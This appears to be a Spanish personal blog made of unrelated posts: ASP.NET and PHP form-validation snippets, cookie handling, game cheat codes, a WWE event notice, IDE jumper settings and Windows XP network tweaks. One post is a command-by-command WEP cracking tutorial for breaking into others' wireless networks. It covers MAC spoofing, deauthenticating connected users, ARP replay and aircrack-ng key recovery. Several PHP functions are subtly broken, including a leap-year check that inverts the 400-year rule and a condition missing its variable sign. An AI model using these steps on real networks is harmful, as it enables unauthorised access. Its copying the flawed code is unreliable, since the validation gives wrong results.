Nuevo piso
Ya tengo las llaves del nuevo piso ^^, en cuanto termine los exámenes empezare a tomar medidas, y prepararlo todo para mi independencia ^^

Ya tengo las llaves del nuevo piso ^^, en cuanto termine los exámenes empezare a tomar medidas, y prepararlo todo para mi independencia ^^

Os comento dos tipos de validación, la primera es comprobar que el campo no se ha dejado en blanco:
<asp:RequiredFieldValidator runat="server" ControlToValidate="ID del texto a validar" Display="Dynamic"> Texto que aparece si no valida
</asp:RequiredFieldValidator>
La segunda comprueba que el texto coincide con un tipo de cadena elegida por ti:
<asp:RegularExpressionValidator ControlToValidate="ID del campo de texto a validar" ValidationExpression="Expresión de validación" Display="Static" runat=server> Texto que aparecera si no valida </asp:RegularExpressionValidator>
Ambos permiten font-size, font-type, y similares, ID, y otras alternativas.
En el 2º, la expresión de validación se debe poner de la siguiente manera:
"(^([Simbolos]{Numero de veces})$)"
En simbolos se pueden poner numeros, letras, signos especiales... y si quieres poner de un simbolo a otro separa el 1º y ultimo por -. Ejemplo: 1-9
En numero de veces si pones un numero significa que tiene que haber ese numero exacto de símbolos, si pones dos números, separados por coma, el 1º es el numero mínimo de caracteres de la expresión, el 2º el numero máximo, que si se deja en blanco es infinito.
Si se quieren poner varias cadenas seguidas se separan por -, y englobándolas todas en paréntesis. Ejemplo:(^([0-9]{8})-([A-Z]{1})$)
Pulsa tabulador para que aparezca la linea para escribir mensages, y escribe los trucos:
nwctheconstruct - 10.000 de oro, 100 de cada recurso natural.
nwczion - Todos los edificios
nwcthereisnospoon - 999 puntos de hechizo en el héroe elegido
nwcwhatisthematrix - Revela los mapas
nwcphisherprice - Nuevos colores
nwcagents - Llenar un ejército con caballeros negros
nwcoracle - Revelar el mapa de puzzle a todos los jugadores
nwctrinity - Llenar un ejército con arcángeles
nwclotsofguns - El héroe obtiene una de cada una de las máquinas de guerra
nwcneo - El héroe sube un nivel
nwcignoranceisbliss - Esconde los mapas
nwcbluepill - Pierdes el juego
nwcredpill - Ganas el juego
nwcnebuchadnezzar - Movimiento ilimitado para el héroe
nwcmorpheus - Moral máxima
nwcfollowthewhiterabbit - Suerte máxima
El Codigo de Cuenta Cliente consta de 4 numeros de entidad, 4 numeros de oficina, 2 digitos de control (el primero valida los numeros de entidad y oficina, y el segundo valida el numero de cuenta), y 10 digitos de numero de cuenta.
Necesitamosdos funciones, una que valide el numero, y otra que compruebe que el numero de control corresponde con ese numero:
function ccc_ok(&$ccc)
{
global $digitos;
$ccc=trim($ccc);
$patron_ok=ereg($s="^(${digitos}{4})-?(${digitos}{4})-?([0-9 *])([0-9 *])-?($digitos{10})$",$ccc,$v);
if (!$patron_ok)
return false;
$dc1=obtener_digito($v[1].$v[2]);
$dc2=obtener_digito($v[5]);
if ($v[3]==" " || $v[3]=="*") $v[3]=$dc1;
if ($v[4]==" " || $v[4]=="*") $v[4]=$dc2;
if ($v[3]==$dc1 && $v[4]==$dc2)
{
$ccc=$v[1].$v[2].$v[3].$v[4].$v[5];
return true;
} else return false;
}
function obtener_digito($valor){
$valores = array(1, 2, 4, 8, 5, 10, 9, 7, 3, 6);
if (strlen($valor)==8) $valor="00".$valor;
$control = 0;
for ($i=0; $i<10; $i++)
$control +=$valor[$i] * $valores[$i];
$control = 11 - ($control % 11);
if ($control == 11) $control = 0;
else if ($control == 10) $control = 1;
return $control;
}
Necesitamos una funcion que compruebe el numero en si, que llame a otra que compruebe la letra:
function nif_ok(&$nif) {
$nif=trim($nif); //supresion de blancos
//$letras="T|R|W|A|G|M|Y|F|P|D|X|B|N|J|Z|S|Q|V|H|L|C|K|E"; //letras permitidas en el nif
$patron_ok=eregi("^([0-9]{8})-($letras?)$",$nif,$v); //comprobando el patron de nif
if ($patron_ok) {
if (!$v[2])
$nif.=$v[2]=letraNIF($v[1]);
if (letraNIF($v[1])!=$v[2]){
return false; //si la letra es incorrecta devolver no valido
} else {
return true; //si la letra es correcta, validar
}
} else {
return false; //si el patron no es correcto, devolver falso
}
}
function letraNIF($nif){
return substr("TRWAGMYFPDXBNJZSQVHLCKE",$nif%23,1);
}
Función que dice si una fecha es valida o no, necesitamos una principal, que vea los dias que tiene cada año, mes... y otra que diga que años son bisiestos.
function fecha_ok(&$fecha) {
$fecha=trim($fecha); //supresion de blancos
$patron_ok=eregi("^([0-9]{1,2})[-/.]([0-9]{1,2})[-/.]([0-9]{4})$",$fecha,$v);
if (!patron_ok)
return false;
else {
$dm=array(0,31,28,31,30,31,30,31,31,30,31,30,31); //dias del mes
$d=(int)$v[1]; $m=(int)$v[2]; $a=(int)$v[3];
if (bisiesto($a)) $dm[2]=29;
if ($d<1 || $d>$dm[$m]) return false;
if ($m<1 || $m>12) return false;
return true;
}
}
function bisiesto($anio) {
return $anio%400? ($anio%4? 0:1): 0; //Los años bisiestos son cada 4 años, excepto los que hacen 400
}

Existen muchos metodos, los que más me gustan:
-1º: Es automatico, pero solo puedes dar un valor a la cookie
Crear Cookie:
FormsAuthentication.SetAuthCookie("Valor de la Cookie", False) 'Si pones una variable no pongas ""
Leer Cookie:
User.identity.name
-2º: Elijes nombre de la Cookie, y de la variable, puedes poner en una sola cookie tantas variables como quieras,y puedes crear tantas cookies como quieras.
Crear Cookie:
Response.Cookies("Nombre de la Cookie")("Nombre de la variable") = "Valor de la variable" 'Si pones una variable no pongas ""
Leer Cookie:
Response.WriteRequest.Cookies("Nombre de la Cookie")("Nombre de la variable")
Validar cadena de letras:
function alfa_ok($alfa){
$alfa=trim($alfa); //Supresion de blancos
return ereg("^[a-zA-ZñÑáéíóúÁÉÍÓÚüÜ]{1,}$",$alfa);
}
Validar cadena de numeros:
function num_ok($num){
$num=trim($num); //Supresion de blancos
return ereg("^[0-9]{1,}$",$num);
}
Validar cadena alfanumerica:
function alfanum_ok($alfanum){
$alfanum=trim($alfanum); //Supresion de blancos
return ereg("^[0-9a-zA-ZñÑáéíóúÁÉÍÓÚüÜ]{1,}$",$alfanum);
}
Validar cadena alfabetica, y caracteres especiales habituales
function alfasim_ok($alfasim){
$alfasim=trim($alfasim); //Supresion de blancos
return ereg("^[a-zA-ZñÑáéíóúÁÉÍÓÚüܺª/@$€ ,._;:!¡?¿]{1,}$",$alfasim);
}
Validar cadena alfanumerica, y caracteres especiales habituales
function alfanumsim_ok($alfanumsim){
$alfanumsim=trim($alfanumsim); //Supresion de blancos
return ereg("^[0-9a-zA-ZñÑáéíóúÁÉÍÓÚüܺª/@$€ ,._;:!¡?¿]{1,}$",$alfanumsim);
}
trim(); suprime los espacios en blanco tanto a la izquierda como a la derecha.
ereg(); comprueba que la variable que leintroduces al final coincide con los caracteres que pones. Si usaramos eregi(); no necesitariamos poner mayusculas dentro, ya que eregi lee mayusculas y minusculas como un mismo simbolo.
El contenido de ereg(), o eregi() debe ir en "", los simbolos ^ y $ significan principio y fin de cadena, no son obligatorios, pero recomiendo ponerlos. Los simbolos que quieres que haya en la expresión que validas se ponen de la siguiente manera: [Simbolos que quieras validar]{Nºminimo de caracteres, Nºmaximo de caracteres}. Si el numero minimo lo dejas en blanco es 0, si dejas el maximo en blanco es infinito, si solo pones un numero sin coma significa que quieres obligatoriamente ese numero de caracteres. Ejemplos:
ereg([123]{,5}); Significa que quieres un numero compuesto por unos, doses, y treses, de 0 a 5 caracteres.
La primera función incrementa en 1 la variable que introduces, ejecutandola X veces le sumaras X, es un poco tonteria, pero más o menos ya veis como va la cosa...
//Función que incrementa una variable
function mas (&$a){
$a = $a + 1;
}
Las siguientes sirven para que el codigo html generado por el fichero.php sea legible correctamente, añadiendo la función a los (echo "";):
//Función que genera espacios en blanco
function s($n) {
return str_repeat(" ",$n);
}
//Función que genera tabuladores
function t($n) {
return str_repeat("t",$n);
}
//Función que genera Intros
function n($n) {
return str_repeat("n",$n);
}
Return indica que se va a devolver, str_repeat indica el primer simbolo repetido tantas veces como diga el 2º, nosotros le pedimos que escriba espacios " ", y tabuladores "/t", tantas veces como diga la variable que le damos.
Para usar estas funciones:
echo t(2)."<h1>Por ejemplo</h1>n";
WWE Smack Down de ruta por España:
Fecha: April 11, 2008
Hora: 20:00
Lugar concreto: Palacio de los Deportes Infanta Cristina
Ciudad: Torrevieja, España
Pasa por otras ciudades, pero esta es la que me interesa, ya que aparte de ser mi cumpleaños, voi con mi novia y Mario, a ver si se apunta algun colega más ^^
Compra de entradas:
Cargo por teléfono: TickTackTicket: 902 15 00 25 ; CAM: 902 100 11
Sitios Web para Tickets: www.cam.es ; www.ticktackticket.com
Precios de Tickets: 80€, 60€ & 40€
Tambien se pueden comprar en Fnac.
Protagonizando: Rey Mysterio; Batista; Edge; Matt Hardy; MVP y más!
Para poder escribir durante el juego pulsa Intro, los codigos de los trucos son:
killemall: Mata a todas las unidades enemigas.
healemall: Cura todas tus unidades.
makemerich: 3.000 de oro y 100 gemas.
makefamous: 7 de gloria.
fasterfaster: Acelera el entrenamiento de las unidades y sus actualizaciones.
octrta: Los tres trucos anteriores a la vez ^^
recharge: Recarga los poderes y las habilidades de tus colonias.
Continuando "Dragón con ilusión óptica" os dejo estos otros recortables, que se montan de la misma manera, para crear una ilusión similar ^^
El efecto que se quiere dar es que mires desde donde mires parezca que el dragón te esta mirando, hay varias versiones:
Blanco y negro (para colorear).
Y por si con el video y las instrucciones no te queda claro como se monta:
Asi NO:
Asi SI:
Si buscáis por internet seguro que encontráis otras versiones ^^
Modo desafío y 1ºdesafio: Vence a Bowser (monstruo final) dos veces en modo historia.
Desafíos 2, 3, 4: Termina la Galeria de Huevos (Egg Gallery).
Desafío final(5): Terminar el juego en modo historia consiguiendo todas las medallas de oro.
Si solo llegas al final de la pantalla te la marcan como pasada, si consigues los objetivos te dan medalla de plata, y la posibilidad de un minijuego, y si consigues los objetivos máximos (no te dicen cuales son), te dan medalla de oro, y más posibilidades de jugar al minijuego.
En algunas versiones de linux te dan la opción de importar configuraciones de otras particiones y programas, pero no en todas.
La forma segura de copiar dichas configuraciones es ir a la partición de donde queremos copiar la configuración, siendo windows se encontrara en “/media/windows/Documents and Settings/NOMBRE DE USUARIO/Datos de programa/Mozilla/Firefox“, copias el contenido de la carpeta, y lo pegamos en "/home/NOMBRE DE USUARIO/DESCKTOP O ESCRITORIO/.mozilla/firefox". Ten cuidado ya que .mozilla es una carpeta oculta. En "NOMBRE DE USUARIO" es tu nombre de usuario, y en "DESCKTOP O ESCRITORIO" esque segun la versión estara en ingles o español.
Con esto copiaras complementos, extensiones, y configuraciones de firefox ^^
Introduce las palabras durante el juego:
DNCORNHOLIO, modo dios, jetpack ilimitado
DNKROZ, dios
DNSTUFF, munición, armas, llaves, objetos
DNCLIP, atravesar paredes. No se puede salir del mapa, el juego se cuelga
DNMONSTERS, elimina los monstruos del nivel
DNITEMS, items
DNHYPER, esteroides
DNSCOTTYXNN, para pasar al nivel NN de la fase X. Sirve para acceder a 5 niveles secretos
DNALLEN, jetpack infinito
DNWEAPONS, armas y munición
DNKEYS, todas las llaves
DNUNLOCK, abrir todas las puertas
DNCASHMAN, dinero al pulsar la barra de espacio
DNSHOWMAP, mapa completo
DNCOORDS, coordenadas
DNRATE, frames por segundo
DNDEBUG, información de debug
En la parte trasera de los discos duros (IDE), lectoras, y grabadoras se encuentra el conecctor jumper, que sirve para elegir las opciones maestro y esclavo. El elemento maestro tendrá preferencia en el equipo con respecto al esclavo. Éste conector se encuentra habitualmente:

Habitualmente tienen dos filas de 4 pines en discos duros, y de 3 pines en lectores y grabadores.
Como configurarlos suele estar especificado en el propio componente en una pegatina, o grabado en la chapa, pero la gran mayoria siguen éstos estandars: (En negrita donde se encuentre el jumper, por si acaso lo comento despues)
Discos duros(IDE):
:::: Maestro (1ªpareja de pines)
:::: Esclavo (Sin conectar el jumper)
:::: Maestro sin esclavo posible (Las dos primeras parejas de pines)
::::Elegido por el cable (2ªpareja)
:::: (Dependiendo el sistema operativo) Limita a 32GB el disco duro (Ultima pareja)
Lectores y grabadores:
::: Maestro (Ultima pareja)
::: Esclavo (2ª pareja)
::: Elegido por el cable (1ªpareja)
La opción elegido por el cable o (cable select), significa que dependiendo de la posición que ocupe en el cable IDE, será maestro o esclavo, (lo considero la mejor opción).
Localizando el extremo del cable que se conecta a la placa base, el conector que se encuentra en el otro extremo es el conector para maestro, y el que se encuentra a mitad del cable es el conector para esclavo.
Podemos trabajar directamente desde el CD sin instalar el Back Track 2, pero alguno de los procesos necesarios para piratear redes como el airmon necesitan guardar archivos, para luego trabajar con ellos, asique necesitaríamos montar alguna partición o disco extraible para poder trabajar en el. Para ello: Montar/Desmontar dispositivos
Login: root toor (por ejemplo)
#starx
Empezamos entorno grafico:(Pero trabajaremos por terminal)
Tener cuidado ya que el teclado estara configurado en USA
#df -Th dice las particiones que tengo
Deveriamos introducirnos en alguna de las particiones y trabajar sobre ella creando una carpeta para guardar alli las aplicaciones.
Averiguaremos de que targeta disponemos con #iwconfig #ifconfig (targeta que nos diga $iwconfig, consideraremos que es ra0)
La apagaremos #ifconfig ra0 down
Cambiaremos la mac(solo mientras se encuentre encendido el pc en esta sesion) (se puede hacer por ifconfig....pero....)
#macchanger --help
#macchanger --mac=00:11:22:33:44:55 ra0
La encenderemos #ifconfig ra0 up
#airmon-ng muestra la lista de targetas y los drivers asociados a estas targetas
#airmon-ng start ra0 modo monitor a la targeta(escuchar todo, aunque no vaya a ella)
#airodump-ng muestra por pantalla puntos de acceso disponibles, y sus clientes asociados a ellos
#airodump-ng ra0 BSSID(mac),PWR(potencia con la que te llega),Beacons(faros, solo afecta en lo que vaya a tardar en aparecernos en la lista de redes disponible),#Data(paquetes con vectores de iniciacion(los que registraremos con la opcion -ivs)),MB(megabytes por segundo de la inalambrica(no tiene que ver con su conexion a internet), ENC(OPN=abierta,WPA,WEB,?=no lo tiene claro),ESSID(nombre del puesto),STATION(mac del cliente)
Si donde nos colamos tiene filtrado mac devemos ver a algun cliente, y cuando no este conectado suplantarlo.
Para capturar solo los paquetes con devilidad criptografica con los que trabajaremos:
#airodump-ng --ivs --write (nombrefichero) --channel (nºcanal)
Necesitamos 2millones de ivs para obtener buenos resultados, en total deven ocupar menos de 40MB...si vemos que los genera muy lentamente tenemos que forzar la aparicion de trafico, para ello en otra ventana hacemos esto:
#aireplay-ng
#aireplay-ng --fakeauth 30 -e iesciervaC14 -a 00:20:a6:50:26:d0 fakeauth es el tiempo ciclico con el que se conecta de nuevo en segundos, e es el punto de acceso al que nos conectamos, a es la BSSID de dicha targeta(mac)
Si no nos aceptasen el trafico generado lo que haremos sera a un usuario que veamos conectado le desautentificariamos una y otra vez, que igualmente generara el trafico que deseamos, = que si nosotros produgeramos el trafico:
#aireplay-ng -0 .... (-0 en vez de --fakeauth)(buscar + info)
#aireplay --arpreplay -e (nombretargeta) -a (BSSID) -b (BSSID) -h (nuestramac) -x (veces/s) ra0
-arpreplay es el tipo de ataque, -a y -b uno es un filtro y el otro la targeta a la que atacas, -x son las vees por segundo que lo reintentara
Cuando tengamos suficientes ivs usaremos la orden:
#aircrack-ng
#aircrack-ng -a 1 -b ((BSSID) mac punto de acceso) *.ivs
Se puede ejecutar antes de terminar la captura, puede cortarse, pero con relanzarlo basta.
Te dara la contraseña en hexadecimal y en texto.
Sacamos la targeta de modo monitor #airmon-ng stop ra0
Para conectarse con la contraseña obtenida #iwconfig key s:(contraseña de texto) ra0
o #iwconfig key (contraseña hexadecimal) ra0
Falta la IP y tal, se suele configurar con #dhclient ra0, pero si no funciona tenemos que poner a mano al ruter la mascara,IP....para ello tendriamos que averiguar en que subred nos encontraremos, con wireshark porejemplo.
Para desencriptar IPs mediante wireshark:
Opciones>Protocolo>802.11>keys (introducimos la contraseña obtenida)
La maquina que más recivira sera el router ya que todo pasa por el.
aircrack-ptw 1.0.0 en vez de usar .ivs usa .cap, por lo que en la orden de captura de trafico tendriamos que omitir el --ivs.
La gente suele usar siempre las mismas contraseñas simples, por lo que diccionarios pequeños de contraseñas pueden ser muy efectivos, unos muy buenos son aspell y myspell, ambos en ingles y español.
Atacando redes WEP si tienen autentificacion de shared key es facil descifrarlo mediante ataques chopchop o defragmentacion.
1ªOpción: (Solo Windows XP SP2)
Inicio -> Ejecutar -> gpedit.msc
Aparecen las directivas de grupo, doble click en Configuración de Equipo.
Selecciona Plantillas Administrativas -> Red -> Programador de Paquetes Qos -> Limitar el ancho de banda reservado
Habilitarlo y poner el 0% en Límite de Ancho de Banda.
Aplicar y Aceptar.
2ªOpción: (Windows XP mediante registro)
Inicio -> Ejecutar -> regedit
En el menú de la izquierda del registro sigues la ruta siguiente:
HKEY_LOCAL_MACHINE SYSTEM CurrentControlSet Services Tcpip Parameters
En el panel de la derecha, introduces los valores siguientes: (Creas, acudiendo a Edición Nuevo Valor DWORD, y/o modificas, clicando dos veces sobre el valor.)
DefaultTTL = "80" hex (o 128 decimal)
EnablePMTUBHDetect = "0"
EnablePMTUDiscovery = "1"
GlobalMaxTcpWindowSize = "7FFF" hex (o 32767 decimal)
TcpMaxDupAcks = "2"
SackOpts = "1"
Tcp1323Opts = "1"
TcpWindowSize = "7FFF" hex (o 32767 decimal)
Sales del editor del registro y reinicias Windows.